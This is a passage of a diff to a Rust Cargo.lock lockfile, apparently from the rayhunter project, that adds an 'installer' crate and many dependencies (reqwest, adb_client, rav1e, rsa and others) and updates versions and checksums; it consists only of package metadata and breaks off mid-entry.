"quick-error", ] +[[package]] +name = "imgref" +version = "1.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d0263a3d970d5c054ed9312c0057b4f3bde9c0b33836d3637361d4a9e6e7a408" + [[package]] name = "include_dir" version = "0.7.3" @@ -898,6 +1486,38 @@ dependencies = [ "hashbrown 0.15.2", ] +[[package]] +name = "installer" +version = "0.1.0" +dependencies = [ + "adb_client", + "anyhow", + "axum", + "bytes", + "clap", + "hyper", + "hyper-util", + "md5", + "nusb", + "reqwest", + "serde", + "sha2", + "tokio", + "tokio-retry2", + "tokio-stream", +] + +[[package]] +name = "interpolate_name" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c34819042dc3d3971c46c2190835914dfbe0c3c13f61449b2997f4e9722dfa60" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.100", +] + [[package]] name = "io-kit-sys" version = "0.4.1" @@ -908,37 +1528,78 @@ dependencies = [ "mach2", ] +[[package]] +name = "ipnet" +version = "2.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "469fb0b9cefa57e3ef31275ee7cacb78f2fdca44e4765491884a2b119d4eb130" + [[package]] name = "is-terminal" version = "0.4.12" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f23ff5ef2b80d608d61efee834934d862cd92461afc0560dedf493e4c033738b" dependencies = [ - "hermit-abi", + "hermit-abi 0.3.6", "libc", "windows-sys 0.52.0", ] +[[package]] +name = "itertools" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba291022dbbd398a455acf126c1e341954079855bc60dfdda641363bd6922569" +dependencies = [ + "either", +] + [[package]] name = "itoa" version = "1.0.10" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b1a46d1a171d865aa5f83f92695765caa047a9b4cbae2cbf37dbd613a793fd4c" +[[package]] +name = "jobserver" +version = "0.1.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38f262f097c174adebe41eb73d66ae9c06b2844fb0da69969647bbddd9b0538a" +dependencies = [ + "getrandom 0.3.2", + "libc", +] + +[[package]] +name = "jpeg-decoder" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f5d4a7da358eff58addd2877a45865158f0d78c911d43a5784ceb7bbf52833b0" + [[package]] name = "js-sys" -version = "0.3.68" +version = "0.3.77" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "406cda4b368d531c842222cf9d2600a9a4acce8d29423695379c6868a143a9ee" +checksum = "1cfaf33c695fc6e08064efbc1f72ec937429614f25eef83af942d0e227c3a28f" dependencies = [ + "once_cell", "wasm-bindgen", ] [[package]] name = "lazy_static" -version = "1.4.0" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" +dependencies = [ + "spin", +] + +[[package]] +name = "lebe" +version = "0.5.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" +checksum = "03087c2bad5e1034e8cace5926dec053fb3790248370865f5117a7d0213354c8" [[package]] name = "libc" @@ -946,12 +1607,46 @@ version = "0.2.171" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c19937216e9d3aa9956d9bb8dfc0b0c8beb6058fc4f7a4dc4d850edf86a237d6" +[[package]] +name = "libfuzzer-sys" +version = "0.4.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf78f52d400cf2d84a3a973a78a592b4adc535739e0a5597a0da6f0c357adc75" +dependencies = [ + "arbitrary", + "cc", +] + +[[package]] +name = "libm" +version = "0.2.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c9627da5196e5d8ed0b0495e61e518847578da83483c37288316d9b2e03a7f72" + +[[package]] +name = "libusb1-sys" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da050ade7ac4ff1ba5379af847a10a10a8e284181e060105bf8d86960ce9ce0f" +dependencies = [ + "cc", + "libc", + "pkg-config", + "vcpkg", +] + [[package]] name = "linux-raw-sys" version = "0.4.14" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "78b3ae25bc7c8c38cec158d1f2757ee79e9b3740fbc7ccf0e59e4b08d793fa89" +[[package]] +name = "litemap" +version = "0.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23fb14cb19457329c82206317a5663005a4d404783dc74f4252769b0d5f42856" + [[package]] name = "lock_api" version = "0.4.11" @@ -968,6 +1663,15 @@ version = "0.4.27" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "13dc2df351e3202783a1fe0d44375f7295ffb4049267b0f3018346dc122a1d94" +[[package]] +name = "loop9" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fae87c125b03c1d2c0150c90365d7d6bcc53fb73a9acaef207d2d065860f062" +dependencies = [ + "imgref", +] + [[package]] name = "mach2" version = "0.4.2" @@ -983,6 +1687,36 @@ version = "0.8.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "47e1ffaa40ddd1f3ed91f717a33c8c0ee23fff369e3aa8772b9605cc1d22f4c3" +[[package]] +name = "maybe-rayon" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ea1f30cedd69f0a2954655f7188c6a834246d2bcf1e315e2ac40c4b24dc9519" +dependencies = [ + "cfg-if", + "rayon", +] + +[[package]] +name = "md5" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "490cc448043f947bae3cbee9c203358d62dbee0db12107a74be5c30ccfd09771" + +[[package]] +name = "mdns-sd" +version = "0.13.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4d275ab1846c627a2c9035b83ec9df611f8451c61bcddbb64a3ab182016e08c0" +dependencies = [ + "fastrand", + "flume", + "if-addrs", + "log", + "mio", + "socket2", +] + [[package]] name = "memchr" version = "2.7.1" @@ -1005,6 +1739,12 @@ dependencies = [ "unicase", ] +[[package]] +name = "minimal-lexical" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" + [[package]] name = "miniz_oxide" version = "0.7.2" @@ -1031,10 +1771,17 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2886843bf800fba2e3377cff24abf6379b4c4d5c6681eaf9ea5b0d15090450bd" dependencies = [ "libc", - "wasi", + "log", + "wasi 0.11.0+wasi-snapshot-preview1", "windows-sys 0.52.0", ] +[[package]] +name = "new_debug_unreachable" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "650eef8c711430f1a879fdd01d4745a7deea475becfb90269c06775983bbf086" + [[package]] name = "nix" version = "0.29.0" @@ -1056,19 +1803,106 @@ dependencies = [ "memchr", ] +[[package]] +name = "nom" +version = "7.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a" +dependencies = [ + "memchr", + "minimal-lexical", +] + +[[package]] +name = "noop_proc_macro" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0676bb32a98c1a483ce53e500a81ad9c3d5b3f7c920c28c24e9cb0980d0b5bc8" + +[[package]] +name = "num-bigint" +version = "0.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a5e44f723f1133c9deac646763579fdb3ac745e418f2a7af9cd0c431da1f20b9" +dependencies = [ + "num-integer", + "num-traits", +] + +[[package]] +name = "num-bigint-dig" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc84195820f291c7697304f3cbdadd1cb7199c0efc917ff5eafd71225c136151" +dependencies = [ + "byteorder", + "lazy_static", + "libm", + "num-integer", + "num-iter", + "num-traits", + "rand 0.8.5", + "serde", + "smallvec", + "zeroize", +] + [[package]] name = "num-conv" version = "0.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "51d515d32fb182ee37cda2ccdcb92950d6a3c2893aa280e540671c2cd0f3b1d9" +[[package]] +name = "num-derive" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed3955f1a9c7c0c15e092f9c887db08b1fc683305fdf6eb6684f22555355e202" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.100", +] + +[[package]] +name = "num-integer" +version = "0.1.46" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7969661fd2958a5cb096e56c8e1ad0444ac2bbcd0061bd28660485a44879858f" +dependencies = [ + "num-traits", +] + +[[package]] +name = "num-iter" +version = "0.1.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1429034a0490724d0075ebb2bc9e875d6503c3cf69e235a8941aa757d83ef5bf" +dependencies = [ + "autocfg", + "num-integer", + "num-traits", +] + +[[package]] +name = "num-rational" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f83d14da390562dca69fc84082e73e548e1ad308d24accdedd2720017cb37824" +dependencies = [ + "num-bigint", + "num-integer", + "num-traits", +] + [[package]] name = "num-traits" -version = "0.2.18" +version = "0.2.19" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "da0df0e5185db44f69b44f26786fe401b6c293d1907744beaa7fa62b2e5a517a" +checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841" dependencies = [ "autocfg", + "libm", ] [[package]] @@ -1114,6 +1948,12 @@ version = "1.19.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92" +[[package]] +name = "parking" +version = "2.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f38d5652c16fde515bb1ecef450ab0f6a219d619a7274976324d5e377f7dceba" + [[package]] name = "parking_lot" version = "0.12.1" @@ -1137,6 +1977,12 @@ dependencies = [ "windows-targets 0.48.5", ] +[[package]] +name = "paste" +version = "1.0.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "57c0d7b74b563b49d38dae00a0c37d4d6de9b432382b2892f0574ddcae73fd0a" + [[package]] name = "pcap-file" version = "2.0.0" @@ -1145,7 +1991,7 @@ checksum = "1fc1f139757b058f9f37b76c48501799d12c9aa0aa4c0d4c980b062ee925d1b2" dependencies = [ "byteorder_slice", "derive-into-owned", - "thiserror", + "thiserror 1.0.57", ] [[package]] @@ -1158,35 +2004,44 @@ dependencies = [ "byteorder", "derive-into-owned", "pcap-file", - "thiserror", + "thiserror 1.0.57", "tokio", "tokio-byteorder", ] [[package]] -name = "percent-encoding" -version = "2.3.1" +name = "pem-rfc7468" +version = "0.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e" +checksum = "88b39c9bfcfc231068454382784bb460aae594343fb030d46e9f50a645418412" +dependencies = [ + "base64ct", +] + +[[package]] +name = "percent-encoding" +version = "2.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e" [[package]] name = "pin-project" -version = "1.1.4" +version = "1.1.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0302c4a0442c456bd56f841aee5c3bfd17967563f6fadc9ceb9f9c23cf3807e0" +checksum = "677f1add503faace112b9f1373e43e9e054bfdd22ff1a63c1bc485eaec6a6a8a" dependencies = [ "pin-project-internal", ] [[package]] name = "pin-project-internal" -version = "1.1.4" +version = "1.1.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "266c042b60c9c76b8d53061e52b2e0d1116abc57cefc8c5cd671619a56ac3690" +checksum = "6e918e4ff8c4549eb882f14b3a4bc8c8bc93de829416eacf579f1207a8fbf861" dependencies = [ "proc-macro2", "quote", - "syn 2.0.50", + "syn 2.0.100", ] [[package]] @@ -1201,6 +2056,33 @@ version = "0.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" +[[package]] +name = "pkcs1" +version = "0.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8ffb9f10fa047879315e6625af03c164b16962a5368d724ed16323b68ace47f" +dependencies = [ + "der", + "pkcs8", + "spki", +] + +[[package]] +name = "pkcs8" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f950b2377845cebe5cf8b5165cb3cc1a5e0fa5cfa3e1f7f55707d8fd82e0a7b7" +dependencies = [ + "der", + "spki", +] + +[[package]] +name = "pkg-config" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7edddbd0b52d732b21ad9a5fab5c704c14cd949e5e9a1ec5929a24fded1b904c" + [[package]] name = "png" version = "0.17.16" @@ -1214,12 +2096,36 @@ dependencies = [ "miniz_oxide 0.8.5", ] +[[package]] +name = "polling" +version = "3.7.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a604568c3202727d1507653cb121dbd627a58684eb09a820fd746bee38b4442f" +dependencies = [ + "cfg-if", + "concurrent-queue", + "hermit-abi 0.4.0", + "pin-project-lite", + "rustix", + "tracing", + "windows-sys 0.59.0", +] + [[package]] name = "powerfmt" version = "0.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391" +[[package]] +name = "ppv-lite86" +version = "0.2.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9" +dependencies = [ + "zerocopy 0.8.25", +] + [[package]] name = "proc-macro-crate" version = "3.3.0" @@ -1238,6 +2144,40 @@ dependencies = [ "unicode-ident", ] +[[package]] +name = "profiling" +version = "1.0.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "afbdc74edc00b6f6a218ca6a5364d6226a259d4b8ea1af4a0ea063f27e179f4d" +dependencies = [ + "profiling-procmacros", +] + +[[package]] +name = "profiling-procmacros" +version = "1.0.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a65f2e60fbf1063868558d69c6beacf412dc755f9fc020f514b7955fc914fe30" +dependencies = [ + "quote", + "syn 2.0.100", +] + +[[package]] +name = "qoi" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f6d64c71eb498fe9eae14ce4ec935c555749aef511cca85b5568910d6e48001" +dependencies = [ + "bytemuck", +] + +[[package]] +name = "quick-error" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a993555f31e5a609f617c12db6250dedcac1b0a85076912c436e6fc9b2c8e6a3" + [[package]] name = "quote" version = "1.0.35" @@ -1247,12 +2187,127 @@ dependencies = [ "proc-macro2", ] +[[package]] +name = "r-efi" +version = "5.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "74765f6d916ee2faa39bc8e68e4f3ed8949b48cccdac59983d287a7cb71ce9c5" + [[package]] name = "radium" version = "0.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dc33ff2d4973d518d823d61aa239014831e521c75da58e3df4840d3f47749d09" +[[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha 0.3.1", + "rand_core 0.6.4", +] + +[[package]] +name = "rand" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9fbfd9d094a40bf3ae768db9361049ace4c0e04a4fd6b359518bd7b73a73dd97" +dependencies = [ + "rand_chacha 0.9.0", + "rand_core 0.9.3", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core 0.6.4", +] + +[[package]] +name = "rand_chacha" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3022b5f1df60f26e1ffddd6c66e8aa15de382ae63b3a0c1bfc0e4d3e3f325cb" +dependencies = [ + "ppv-lite86", + "rand_core 0.9.3", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom 0.2.16", +] + +[[package]] +name = "rand_core" +version = "0.9.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "99d9a13982dcf210057a8a78572b2217b667c3beacbf3a0d8b454f6f82837d38" +dependencies = [ + "getrandom 0.3.2", +] + +[[package]] +name = "rav1e" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cd87ce80a7665b1cce111f8a16c1f3929f6547ce91ade6addf4ec86a8dda5ce9" +dependencies = [ + "arbitrary", + "arg_enum_proc_macro", + "arrayvec", + "av1-grain", + "bitstream-io", + "built", + "cfg-if", + "interpolate_name", + "itertools", + "libc", + "libfuzzer-sys", + "log", + "maybe-rayon", + "new_debug_unreachable", + "noop_proc_macro", + "num-derive", + "num-traits", + "once_cell", + "paste", + "profiling", + "rand 0.8.5", + "rand_chacha 0.3.1", + "simd_helpers", + "system-deps", + "thiserror 1.0.57", + "v_frame", + "wasm-bindgen", +] + +[[package]] +name = "ravif" +version = "0.11.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6a5f31fcf7500f9401fea858ea4ab5525c99f2322cfcee732c0e6c74208c0c6" +dependencies = [ + "avif-serialize", + "imgref", + "loop9", + "quick-error", + "rav1e", + "rayon", + "rgb", +] + [[package]] name = "rayhunter" version = "0.2.8" @@ -1270,7 +2325,7 @@ dependencies = [ "pcap-file-tokio", "serde", "telcom-parser", - "thiserror", + "thiserror 1.0.57", "tokio", ] @@ -1295,13 +2350,33 @@ dependencies = [ "serde_json", "simple_logger", "tempfile", - "thiserror", + "thiserror 1.0.57", "tokio", "tokio-stream", "tokio-util", "toml", ] +[[package]] +name = "rayon" +version = "1.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b418a60154510ca1a002a752ca9714984e21e4241e804d32555251faf8b78ffa" +dependencies = [ + "either", + "rayon-core", +] + +[[package]] +name = "rayon-core" +version = "1.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1465873a3dfdaa8ae7cb14b4383657caab0b3e8a0aa9ae8e04b044854c8dfce2" +dependencies = [ + "crossbeam-deque", + "crossbeam-utils", +] + [[package]] name = "redox_syscall" version = "0.4.1" @@ -1313,9 +2388,9 @@ dependencies = [ [[package]] name = "regex" -version = "1.10.3" +version = "1.11.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b62dbe01f0b06f9d8dc7d49e05a0785f153b00b2c227856282f671e0318c9b15" +checksum = "b544ef1b4eac5dc2db33ea63606ae9ffcfac26c1416a2806ae0bf5f56b201191" dependencies = [ "aho-corasick", "memchr", @@ -1325,9 +2400,9 @@ dependencies = [ [[package]] name = "regex-automata" -version = "0.4.5" +version = "0.4.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5bb987efffd3c6d0d8f5f89510bb458559eab11e4f869acb20bf845e016259cd" +checksum = "809e8dc61f6de73b46c85f4c96486310fe304c434cfa43669d7b40f711150908" dependencies = [ "aho-corasick", "memchr", @@ -1336,9 +2411,51 @@ dependencies = [ [[package]] name = "regex-syntax" -version = "0.8.2" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b15c43186be67a4fd63bee50d0303afffcef381492ebe2c5d87f324e1b8815c" + +[[package]] +name = "reqwest" +version = "0.12.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d19c46a6fdd48bc4dab94b6103fccc55d34c67cc0ad04653aad4ea2a07cd7bbb" +dependencies = [ + "base64", + "bytes", + "futures-core", + "futures-util", + "http", + "http-body", + "http-body-util", + "hyper", + "hyper-util", + "ipnet", + "js-sys", + "log", + "mime", + "once_cell", + "percent-encoding", + "pin-project-lite", + "serde", + "serde_json", + "serde_urlencoded", + "sync_wrapper", + "tokio", + "tower", + "tower-service", + "url", + "wasm-bindgen", + "wasm-bindgen-futures", + "web-sys", + "windows-registry", +] + +[[package]] +name = "rgb" +version = "0.8.50" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c08c74e62047bb2de4ff487b251e4a92e24f48745648451635cec7d591162d9f" +checksum = "57397d16646700483b67d2dd6511d79318f9d057fdbd21a4066aeac8b41d310a" [[package]] name = "rootshell" @@ -1347,6 +2464,36 @@ dependencies = [ "nix", ] +[[package]] +name = "rsa" +version = "0.9.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78928ac1ed176a5ca1d17e578a1825f3d81ca54cf41053a592584b020cfd691b" +dependencies = [ + "const-oid", + "digest", + "num-bigint-dig", + "num-integer", + "num-traits", + "pkcs1", + "pkcs8", + "rand_core 0.6.4", + "signature", + "spki", + "subtle", + "zeroize", +] + +[[package]] +name = "rusb" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ab9f9ff05b63a786553a4c02943b74b34a988448671001e9a27e2f0565cc05a4" +dependencies = [ + "libc", + "libusb1-sys", +] + [[package]] name = "rustc-demangle" version = "0.1.23" @@ -1366,6 +2513,12 @@ dependencies = [ "windows-sys 0.52.0", ] +[[package]] +name = "rustls-pki-types" +version = "1.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "917ce264624a4b4db1c364dcc35bfca9ded014d0a958cd47ad3e960e988ea51c" + [[package]] name = "rustversion" version = "1.0.20" @@ -1386,31 +2539,32 @@ checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" [[package]] name = "serde" -version = "1.0.197" +version = "1.0.219" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3fb1c873e1b9b056a4dc4c0c198b24c3ffa059243875552b2bd0933b1aee4ce2" +checksum = "5f0e2c6ed6606019b4e29e69dbaba95b11854410e5347d525002456dbbb786b6" dependencies = [ "serde_derive", ] [[package]] name = "serde_derive" -version = "1.0.197" +version = "1.0.219" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7eb0b34b42edc17f6b7cac84a52a1c5f0e1bb2227e997ca9011ea3dd34e8610b" +checksum = "5b0276cf7f2c73365f7157c8123c21cd9a50fbbd844757af28ca1f5925fc2a00" dependencies = [ "proc-macro2", "quote", - "syn 2.0.50", + "syn 2.0.100", ] [[package]] name = "serde_json" -version = "1.0.114" +version = "1.0.140" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c5f09b1bd632ef549eaa9f60a1f8de742bdbc698e6cee2095fc84dde5f549ae0" +checksum = "20068b6e96dc6c9bd23e01df8827e6c7e1f2fddd43c21810382803c136b99373" dependencies = [ "itoa", + "memchr", "ryu", "serde", ] @@ -1425,6 +2579,17 @@ dependencies = [ "serde", ] +[[package]] +name = "serde_repr" +version = "0.1.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "175ee3e80ae9982737ca543e96133087cbd9a485eecc3bc4de9c1a37b47ea59c" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.100", +] + [[package]] name = "serde_spanned" version = "0.6.8" @@ -1447,14 +2612,33 @@ dependencies = [ ] [[package]] -name = "serial" -version = "0.2.6" +name = "sha1" +version = "0.10.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3bf829a2d51ab4a5ddf1352d8470c140cadc8301b2ae1789db023f01cedd6ba" dependencies = [ - "anyhow", - "nusb", - "tokio", + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "sha2" +version = "0.10.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "793db75ad2bcafc3ffa7c68b215fee268f537982cd901d132f89c6343f3a3dc8" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", ] +[[package]] +name = "shlex" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" + [[package]] name = "signal-hook-registry" version = "1.4.1" @@ -1464,12 +2648,31 @@ dependencies = [ "libc", ] +[[package]] +name = "signature" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77549399552de45a898a580c1b41d445bf730df867cc44e6c0233bbc4b8329de" +dependencies = [ + "digest", + "rand_core 0.6.4", +] + [[package]] name = "simd-adler32" version = "0.3.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d66dc143e6b11c1eddc06d5c423cfc97062865baf299914ab64caa38182078fe" +[[package]] +name = "simd_helpers" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "95890f873bec569a0362c235787f3aca6e1e887302ba4840839bcc6459c42da6" +dependencies = [ + "quote", +] + [[package]] name = "simple_logger" version = "5.0.0" @@ -1499,20 +2702,51 @@ checksum = "e6ecd384b10a64542d77071bd64bd7b231f4ed5940fba55e98c3de13824cf3d7" [[package]] name = "socket2" -version = "0.5.5" +version = "0.5.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7b5fac59a5cb5dd637972e5fca70daf0523c9067fcdc4842f053dae04a18f8e9" +checksum = "4f5fd57c80058a56cf5c777ab8a126398ece8e442983605d280a44ce79d0edef" dependencies = [ "libc", - "windows-sys 0.48.0", + "windows-sys 0.52.0", +] + +[[package]] +name = "spin" +version = "0.9.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67" +dependencies = [ + "lock_api", +] + +[[package]] +name = "spki" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d91ed6c858b01f942cd56b37a94b3e0a1798290327d1236e4d9cf4eaca44d29d" +dependencies = [ + "base64ct", + "der", ] +[[package]] +name = "stable_deref_trait" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3" + [[package]] name = "strsim" version = "0.11.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" +[[package]] +name = "subtle" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292" + [[package]] name = "syn" version = "1.0.109" @@ -1526,9 +2760,9 @@ dependencies = [ [[package]] name = "syn" -version = "2.0.50" +version = "2.0.100" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "74f1bdc9872430ce9b75da68329d1c1746faf50ffac5f19e02b71e37ff881ffb" +checksum = "b09a44accad81e1ba1cd74a32461ba89dee89095ba17b32f5d03683b1b1fc2a0" dependencies = [ "proc-macro2", "quote", @@ -1540,6 +2774,33 @@ name = "sync_wrapper" version = "1.0.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0bf256ce5efdfa370213c1dabab5935a12e49f2c58d15e9eac2870d3b4f27263" +dependencies = [ + "futures-core", +] + +[[package]] +name = "synstructure" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8af7666ab7b6390ab78131fb5b0fce11d6b7a6951602017c35fa82800708971" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.100", +] + +[[package]] +name = "system-deps" +version = "6.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a3e535eb8dded36d55ec13eddacd30dec501792ff23a0b1682c38601b8cf2349" +dependencies = [ + "cfg-expr", + "heck 0.5.0", + "pkg-config", + "toml", + "version-compare", +] [[package]] name = "tap" @@ -1547,6 +2808,12 @@ version = "1.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "55937e1799185b12863d447f42597ed69d9928686b8d88a1df17376a097d8369" +[[package]] +name = "target-lexicon" +version = "0.12.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "61c41af27dd6d1e27b1b16b489db798443478cef1f06a660c96db617ba5de3b1" + [[package]] name = "telcom-parser" version = "0.2.8" @@ -1557,7 +2824,7 @@ dependencies = [ "bitvec", "log", "serde", - "thiserror", + "thiserror 1.0.57", ] [[package]] @@ -1587,7 +2854,16 @@ version = "1.0.57" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1e45bcbe8ed29775f228095caf2cd67af7a4ccf756ebff23a306bf3e8b47b24b" dependencies = [ - "thiserror-impl", + "thiserror-impl 1.0.57", +] + +[[package]] +name = "thiserror" +version = "2.0.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "567b8a2dae586314f7be2a752ec7474332959c6460e02bde30d702a66d488708" +dependencies = [ + "thiserror-impl 2.0.12", ] [[package]] @@ -1598,18 +2874,40 @@ checksum = "a953cb265bef375dae3de6663da4d3804eee9682ea80d8e2542529b73c531c81" dependencies = [ "proc-macro2", "quote", - "syn 2.0.50", + "syn 2.0.100", ] [[package]] -name = "time" -version = "0.3.37" +name = "thiserror-impl" +version = "2.0.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = 